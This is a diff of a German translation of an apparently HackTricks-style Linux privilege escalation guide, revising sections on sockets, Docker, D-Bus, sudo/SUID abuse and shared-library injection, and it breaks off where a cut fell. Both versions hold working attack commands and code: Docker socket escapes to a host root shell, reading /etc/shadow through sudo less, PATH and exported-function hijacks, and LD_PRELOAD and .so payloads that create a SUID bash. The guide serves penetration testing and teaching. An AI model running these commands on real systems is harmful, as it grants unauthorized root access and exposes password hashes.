du mit `man systemd.timer`.** ### **Timer aktivieren** -Um einen Timer zu aktivieren benötigst du Root-Rechte und musst folgendes ausführen: +Um einen Timer zu aktivieren benötigst du root‑Rechte und musst ausführen: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -441,28 +465,28 @@ Beachte, dass der **timer** durch das Erstellen eines Symlinks zu ihm unter `/et ## Sockets -Unix Domain Sockets (UDS) ermöglichen die **Prozesskommunikation** auf demselben oder verschiedenen Rechnern innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptordateien für die Kommunikation zwischen Rechnern und werden über `.socket`-Dateien eingerichtet. +Unix Domain Sockets (UDS) ermöglichen **Prozesskommunikation** auf derselben oder auf unterschiedlichen Maschinen innerhalb von Client-Server-Modellen. Sie verwenden standardmäßige Unix-Descriptor-Dateien für die Kommunikation zwischen Computern und werden über `.socket`-Dateien eingerichtet. Sockets können mit `.socket`-Dateien konfiguriert werden. -**Erfahre mehr über sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: +**Mehr über sockets mit `man systemd.socket` erfahren.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen unterscheiden sich, aber zusammenfassend dienen sie dazu, **anzugeben, wo auf den Socket gehört werden soll** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder Portnummer, auf die gehört wird, usw.) -- `Accept`: nimmt ein boolesches Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz gestartet** und nur das Verbindungssocket an diese übergeben. Wenn **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit **übergeben**, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos den gesamten eingehenden Traffic verarbeitet. **Standardmäßig false**. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. -- `ExecStartPre`, `ExecStartPost`: nehmen eine oder mehrere Befehlszeilen, die jeweils **ausgeführt werden, bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **erstellt** und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. -- `ExecStopPre`, `ExecStopPost`: zusätzliche **Befehle**, die jeweils **ausgeführt werden, bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **geschlossen** und entfernt werden. -- `Service`: gibt den Namen der **Service**-Unit an, die bei **eingehendem Traffic** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standardmäßig ist es die Service-Unit mit demselben Namen wie das Socket (mit ersetztem Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber zusammengefasst dienen sie dazu, **anzugeben, wo auf den Socket gehört werden soll** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder die zu überwachende Portnummer usw.). +- `Accept`: Nimmt ein boolean-Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz gestartet** und nur der Verbindungs-Socket an diese übergeben. Wenn **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit **übergeben**, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos den gesamten eingehenden Traffic verarbeitet. **Defaults to false**. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. +- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **ausgeführt werden bevor** bzw. **nachdem** die listening **sockets**/FIFOs jeweils **erstellt** und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. +- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **ausgeführt werden bevor** bzw. **nachdem** die listening **sockets**/FIFOs jeweils **geschlossen** und entfernt werden. +- `Service`: Gibt den Namen der **service**-Unit an, die bei **eingehendem Traffic** aktiviert werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standard ist die Service-Unit mit demselben Namen wie der Socket (mit entsprechendem Suffix). In den meisten Fällen sollte es nicht nötig sein, diese Option zu verwenden. ### Writable .socket files -Wenn du eine **beschreibbare** `.socket`-Datei findest, kannst du am Anfang des `[Socket]`-Abschnitts etwas wie `ExecStartPre=/home/kali/sys/backdoor` **hinzufügen** und die Backdoor wird ausgeführt, bevor das Socket erstellt wird. Daher musst du **wahrscheinlich warten, bis die Maschine neu gebootet wird.**\ +Wenn du eine **writable** `.socket`-Datei findest, kannst du am Anfang der `[Socket]`-Sektion etwas wie `ExecStartPre=/home/kali/sys/backdoor` **hinzufügen** und die backdoor wird ausgeführt, bevor der Socket erstellt wird. Daher wirst du **wahrscheinlich warten müssen, bis die Maschine neu gestartet wird.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Wenn du ein **beschreibbares socket** identifizierst (_jetzt sprechen wir von Unix Sockets und nicht von den Konfigurations-`.socket`-Dateien_), dann **kannst du mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen. +Wenn du **einen beschreibbaren socket** findest (_jetzt sprechen wir über Unix Sockets und nicht über die Konfigurations-`.socket`-Dateien_), dann **kannst du mit diesem socket kommunizieren** und möglicherweise eine Schwachstelle exploit-en. -### Auflisten von Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -484,48 +508,48 @@ socket-command-injection.md ### HTTP sockets -Beachte, dass es möglicherweise einige **sockets gibt, die auf HTTP-Anfragen lauschen** (_ich rede nicht von .socket files, sondern von Dateien, die als unix sockets fungieren_). Das kannst du mit folgendem Befehl prüfen: +Beachte, dass es einige **sockets listening for HTTP** requests geben kann (_ich spreche dabei nicht von .socket files, sondern von Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem Befehl prüfen: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Wenn der Socket auf eine **HTTP**-Anfrage antwortet, kannst du mit ihm **kommunizieren** und vielleicht **exploit some vulnerability**. +Wenn der Socket **auf eine HTTP-Anfrage antwortet**, kannst du **mit ihm kommunizieren** und vielleicht **exploit some vulnerability**. -### Schreibbarer Docker Socket +### Schreibbarer Docker-Socket -Der Docker-Socket, oft zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die abgesichert werden sollte. Standardmäßig ist er für den `root`-Benutzer und Mitglieder der `docker`-Gruppe schreibbar. Schreibzugriff auf diesen Socket kann zu privilege escalation führen. Nachfolgend eine Aufschlüsselung, wie das durchgeführt werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. +Der Docker-Socket, häufig zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er schreibbar für den `root` user und Mitglieder der `docker` group. Schreibzugriff auf diesen Socket kann zu Privilege Escalation führen. Hier eine Aufschlüsselung, wie das gemacht werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. #### **Privilege Escalation with Docker CLI** -Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du escalate privileges mit den folgenden Befehlen durchführen: +Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du Privilegien mit den folgenden Befehlen eskalieren: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Diese Befehle erlauben es dir, einen Container mit root-Zugriff auf das Dateisystem des Hosts auszuführen. +Diese Befehle ermöglichen es Ihnen, einen Container zu starten, der root-Zugriff auf das Dateisystem des Hosts hat. -#### **Docker API direkt verwenden** +#### **Direkte Verwendung der Docker API** Falls die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. -1. **List Docker Images:** Retrieve the list of available images. +1. **Docker-Images auflisten:** Rufen Sie die Liste der verfügbaren Images ab. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Sende eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet. +2. **Einen Container erstellen:** Senden Sie eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Starte den neu erstellten Container: +Starten Sie den neu erstellten Container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Verwende `socat`, um eine Verbindung zum Container herzustellen, die die Ausführung von Befehlen darin ermöglicht. +3. **An den Container anhängen:** Verwenden Sie `socat`, um eine Verbindung zum Container herzustellen, sodass Sie Befehle darin ausführen können. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,11 +559,11 @@ Connection: Upgrade Upgrade: tcp ``` -Nachdem die `socat`-Verbindung aufgebaut ist, kannst du Befehle direkt im Container ausführen und hast root-Zugriff auf das Dateisystem des Hosts. +Nach dem Aufbau der `socat`-Verbindung können Sie Befehle direkt im Container ausführen und haben root-Zugriff auf das Dateisystem des Hosts. -### Andere +### Sonstiges -Beachte, dass wenn du Schreibrechte am docker socket hast, weil du **inside the group `docker`** bist, du [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Beachten Sie, dass wenn Sie Schreibrechte auf den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, Sie [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising), können Sie diese ebenfalls kompromittieren. Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -550,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Wenn du den **`ctr`**-Befehl verwenden kannst, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -559,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Wenn du den **`runc`**-Befehl verwenden kannst, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ist ein ausgereiftes **inter-Process Communication (IPC) system**, das Anwendungen ermöglicht, effizient zu interagieren und Daten zu teilen. Für moderne Linux-Systeme konzipiert, bietet es ein robustes Framework für verschiedene Formen der Anwendungskommunikation. +D-Bus ist ein ausgereiftes inter-prozessuales Kommunikationssystem (IPC), das Anwendungen ermöglicht, effizient miteinander zu interagieren und Daten auszutauschen. Es wurde für moderne Linux-Systeme konzipiert und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation. -Das System ist vielseitig: Es unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich erweiterten UNIX domain sockets. Außerdem ermöglicht es das Senden von Events oder Signalen, was eine nahtlose Integration der Systemkomponenten fördert. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten und so das Nutzererlebnis verbessern. Zusätzlich unterstützt D-Bus ein remote object system, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und zuvor komplexe Abläufe vereinfacht. +Das System ist vielseitig und unterstützt grundlegende IPC-Funktionalität, die den Datenaustausch zwischen Prozessen verbessert, vergleichbar mit erweiterten UNIX-Domain-Sockets. Außerdem hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen Systemkomponenten fördert. Ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf kann z. B. einen Musikplayer zum Stummschalten veranlassen und so die Benutzererfahrung verbessern. Darüber hinaus unterstützt D-Bus ein Remote-Objekt-System, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse, die traditionell komplex waren, erleichtert. -D-Bus arbeitet nach einem **allow/deny model**, das Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen, usw.) basierend auf der kumulativen Wirkung passender Policy-Regeln verwaltet. Diese Policies legen fest, wie mit dem Bus interagiert werden darf und können potentiell zu privilege escalation führen, wenn diese Berechtigungen ausgenutzt werden. +D-Bus arbeitet nach einem **allow/deny model** und verwaltet Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln. Diese Richtlinien legen fest, wie mit dem Bus interagiert werden darf und können potenziell Privilegieneskalationen ermöglichen, wenn diese Berechtigungen ausgenutzt werden. -Ein Beispiel für eine solche Policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und listet die Berechtigungen für den root-Benutzer auf, um `fi.w1.wpa_supplicant1` zu besitzen, an sie zu senden und Nachrichten von ihr zu empfangen. +Ein Beispiel für eine solche Richtlinie in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und beschreibt Berechtigungen für den Benutzer root, um `fi.w1.wpa_supplicant1` zu besitzen, an ihn zu senden und von ihm Nachrichten zu empfangen. -Policies ohne spezifizierten Benutzer oder Gruppe gelten universell, während "default"-Kontext-Policies für alle gelten, die nicht durch andere spezifische Policies abgedeckt sind. +Richtlinien ohne angegebenen Benutzer oder Gruppe gelten allgemein, während "default"-Kontext-Richtlinien für alle gelten, die nicht durch andere spezifische Richtlinien abgedeckt sind. ```xml @@ -585,7 +609,7 @@ Policies ohne spezifizierten Benutzer oder Gruppe gelten universell, während "d ``` -**Lerne hier, wie du eine D-Bus communication enumerate und exploit kannst:** +**Erfahre hier, wie man eine D-Bus communication enumerate und exploit kann:** {{#ref}} @@ -594,9 +618,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Netzwerk** -Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine herauszufinden. +Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine zu ermitteln. -### Generische enumeration +### Allgemeine enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -619,24 +643,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Offene Ports +### Open ports -Überprüfe immer Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest: +Überprüfe immer die Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Prüfe, ob du traffic sniffen kannst. Wenn ja, könntest du einige credentials abfangen. +Überprüfe, ob du sniff traffic durchführen kannst. Falls ja, könntest du einige credentials abgreifen. ``` timeout 1 tcpdump ``` -## Benutzer +## Users ### Generic Enumeration -Prüfe **who** du bist, welche **privileges** du hast, welche **users** in den Systemen vorhanden sind, welche sich **login** können und welche **root privileges** haben: +Prüfe, **who** du bist, welche **privileges** du hast, welche **users** im System sind, welche sich **login** können und welche **root privileges** haben: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -658,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Große UID +### Big UID -Einige Linux-Versionen waren von einem Bug betroffen, der Benutzern mit **UID > INT_MAX** erlaubt, Privilegien zu eskalieren. Mehr Infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Einige Linux-Versionen waren von einem Bug betroffen, der Benutzern mit **UID > INT_MAX** erlaubt, Privilegien zu eskalieren. Mehr Infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) und [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Gruppen -Prüfe, ob du Mitglied einer **Gruppe** bist, die dir root-Privilegien gewähren könnte: +Prüfe, ob du **Mitglied einer Gruppe** bist, die dir root-Privilegien gewähren könnte: {{#ref}} @@ -674,7 +698,7 @@ interesting-groups-linux-pe/ ### Zwischenablage -Prüfe, ob sich (falls möglich) etwas Interessantes in der Zwischenablage befindet. +Überprüfe, ob sich etwas Interessantes in der Zwischenablage befindet (falls möglich) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -691,22 +715,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekannte Passwörter -Wenn du ein Passwort der Umgebung kennst, versuche dich mit diesem Passwort als jeden Benutzer einzuloggen. +Wenn du ein **Passwort** der Umgebung kennst, versuche dich mit diesem Passwort als jeden Benutzer einzuloggen. ### Su Brute -Wenn es dir nichts ausmacht, viel Lärm zu verursachen, und die Binärdateien `su` und `timeout` auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ -Auch [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) versucht mit dem Parameter `-a`, Benutzer zu brute-forcen. +Wenn es dir nichts ausmacht, viel Lärm zu verursachen und die Binaries `su` und `timeout` auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem Parameter `-a` versucht ebenfalls, Benutzer zu brute-forcen. -## Missbrauch beschreibbarer $PATHs +## Missbrauch bei beschreibbaren $PATH ### $PATH -Wenn du feststellst, dass du in einen Ordner des $PATH schreiben kannst, könntest du Privilegien eskalieren, indem du eine backdoor in dem beschreibbaren Ordner erstellst, die den Namen eines Befehls trägt, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und nicht aus einem Verzeichnis geladen wird, das vor deinem beschreibbaren Ordner im $PATH steht. +Wenn du feststellst, dass du in einen Ordner des $PATH **schreiben** kannst, könntest du Privilegien eskalieren, indem du eine **backdoor** in dem beschreibbaren Ordner erstellst, deren Name dem eines Befehls entspricht, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der vor** deinem beschreibbaren Ordner im $PATH liegt. ### SUDO and SUID -Du könntest berechtigt sein, einen Befehl mit sudo auszuführen, oder die Datei könnte das suid-Bit gesetzt haben. Prüfe das mit: +Du könntest berechtigt sein, bestimmte Befehle mit sudo auszuführen oder Dateien könnten das suid-Bit gesetzt haben. Prüfe dies mit: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -722,31 +746,31 @@ less>! ``` ### NOPASSWD -Die Sudo-Konfiguration kann einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne dessen Passwort zu kennen. +Sudo-Konfiguration könnte einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen; es ist nun trivial, eine Shell zu erhalten, indem man einen ssh key in das root-Verzeichnis hinzufügt oder `sh` aufruft. +In diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen; es ist nun trivial, eine Shell zu bekommen, indem man einen ssh key ins Root-Verzeichnis hinzufügt oder `sh` aufruft. ``` sudo vim -c '!sh' ``` ### SETENV -Diese Direktive erlaubt dem Benutzer, **eine Umgebungsvariable zu setzen**, während er etwas ausführt: +Diese Direktive erlaubt dem Benutzer, während der Ausführung **eine Umgebungsvariable zu setzen**: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH hijacking**, um beim Ausführen des Skripts als root eine beliebige python library zu laden: +Dieses Beispiel, **basierend auf HTB machine Admirer**, war **anfällig** für **PYTHONPATH hijacking**, um eine beliebige python library zu laden, während das script als root ausgeführt wurde: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo-Ausführung: Pfade umgehen -**Springe** um andere Dateien zu lesen oder **symlinks** zu verwenden. Zum Beispiel in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Spring**, um andere Dateien zu lesen oder benutze **symlinks**. Zum Beispiel in der sudoers-Datei: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,50 +780,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Wenn ein **wildcard** verwendet wird (\*), ist es noch einfacher: +Wenn ein **Platzhalter** verwendet wird (\*), ist es noch einfacher: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Gegenmaßnahmen**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary ohne Pfad zum Befehl +### Sudo-Befehl/SUID-Binary ohne Befehls-Pfad -Wenn die **sudo-Berechtigung** für ein einzelnes Kommando **ohne Angabe des Pfades** vergeben ist: _hacker10 ALL= (root) less_ kann man dies ausnutzen, indem man die PATH-Variable ändert. +Wenn die **sudo permission** für einen einzelnen Befehl **ohne Pfadangabe** vergeben ist: _hacker10 ALL= (root) less_ kannst du dies ausnutzen, indem du die PATH-Variable änderst. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Diese Technik kann auch verwendet werden, wenn ein **suid** binary **einen anderen Befehl ausführt, ohne dessen Pfad anzugeben (prüfe immer mit** _**strings**_ **den Inhalt einer seltsamen SUID binary)**. +Diese Technik kann auch verwendet werden, wenn ein **suid** binary einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit _**strings**_ den Inhalt eines seltsamen SUID binary). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary with command path +### SUID binary mit angegebenem Pfad -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. +Wenn das **suid** binary einen anderen Befehl ausführt und dabei den Pfad angibt, kannst du versuchen, eine Funktion mit dem Namen des aufgerufenen Befehls zu exportieren. -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +Zum Beispiel, wenn ein **suid** binary _**/usr/sbin/service apache2 start**_ aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wenn Sie dann das suid binary aufrufen, wird diese Funktion ausgeführt +Wenn du dann das suid binary aufrufst, wird diese Funktion ausgeführt ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere Shared Libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen geladen werden sollen, einschließlich der Standard-C-Bibliothek (`libc.so`). Dieser Vorgang wird als Preloading einer Library bezeichnet. +Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere shared libraries (.so files) anzugeben, die vom Loader vor allen anderen geladen werden, einschließlich der standardmäßigen C-Bibliothek (`libc.so`). Dieser Prozess ist als preloading a library bekannt. -Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion, insbesondere bei **suid/sgid**-Executables, ausgenutzt wird, erzwingt das System bestimmte Bedingungen: +Um jedoch die Systemsicherheit zu wahren und zu verhindern, dass diese Funktion ausgenutzt wird — insbesondere bei **suid/sgid** Executables — setzt das System bestimmte Bedingungen durch: -- Der Loader ignoriert **LD_PRELOAD** für Executables, bei denen die real user ID (_ruid_) nicht mit der effective user ID (_euid_) übereinstimmt. -- Bei Executables mit suid/sgid werden nur Bibliotheken aus Standardpfaden vorgeladen, die ebenfalls suid/sgid sind. +- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die reale User-ID (_ruid_) nicht mit der effektiven User-ID (_euid_) übereinstimmt. +- Bei ausführbaren Dateien mit suid/sgid werden nur Bibliotheken in Standardpfaden vorab geladen, die ebenfalls suid/sgid sind. -Privilege escalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen, und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt es, dass die Umgebungsvariable **LD_PRELOAD** beibehalten und auch bei Ausführung von Befehlen mit `sudo` erkannt wird, was potenziell zur Ausführung beliebigen Code mit erhöhten Rechten führen kann. +Privilege escalation kann auftreten, wenn du die Möglichkeit hast, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt der **LD_PRELOAD**-Umgebungsvariable, auch bei Ausführung von Befehlen mit `sudo` bestehen zu bleiben und anerkannt zu werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Privilegien führen kann. ``` Defaults env_keep += LD_PRELOAD ``` -Speichern als **/tmp/pe.c** +Speichere als **/tmp/pe.c** ```c #include #include @@ -817,12 +841,12 @@ Dann **kompiliere es** mit: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Schließlich **escalate privileges** ausführen +Schließlich, **escalate privileges** ausführen ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Ein ähnlicher privesc kann ausgenutzt werden, wenn der Angreifer die Umgebungsvariable **LD_LIBRARY_PATH** kontrolliert, da er damit den Pfad bestimmt, in dem Bibliotheken gesucht werden. +> Ein ähnlicher privesc kann ausgenutzt werden, wenn ein Angreifer die **LD_LIBRARY_PATH** env variable kontrolliert, weil er den Pfad kontrolliert, in dem Bibliotheken gesucht werden. ```c #include #include @@ -844,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wenn Sie auf ein binary mit **SUID**-Rechten stoßen, das ungewöhnlich erscheint, ist es gute Praxis zu prüfen, ob es **.so**-Dateien korrekt lädt. Dies kann überprüft werden, indem Sie den folgenden Befehl ausführen: +Wenn man auf ein Binary mit **SUID**-Rechten stößt, das ungewöhnlich erscheint, ist es ratsam zu prüfen, ob es **.so**-Dateien korrekt lädt. Das lässt sich prüfen, indem man den folgenden Befehl ausführt: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein mögliches Exploit hin. +Wenn man beispielsweise auf einen Fehler wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ stößt, deutet das auf Potenzial für exploitation hin. -Um dies auszunutzen, legt man eine C-Datei an, z. B. _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält: +Um dies auszunutzen, erstellt man eine C-Datei, zum Beispiel _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält: ```c #include #include @@ -861,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Dieser Code versucht, nach dem Kompilieren und Ausführen, Privilegien zu erlangen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten startet. +Dieser Code zielt, sobald er kompiliert und ausgeführt wurde, darauf ab, Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten ausführt. Kompiliere die obige C-Datei in eine Shared-Object (.so)-Datei mit: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Schließlich sollte das Ausführen der betroffenen SUID binary den exploit auslösen und eine potenzielle Kompromittierung des Systems ermöglichen. +Schließlich sollte das Ausführen des betroffenen SUID binary den exploit auslösen und eine mögliche Kompromittierung des Systems ermöglichen. ## Shared Object Hijacking ```bash @@ -879,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Da wir nun eine SUID binary gefunden haben, die eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem notwendigen Namen: +Nachdem wir ein 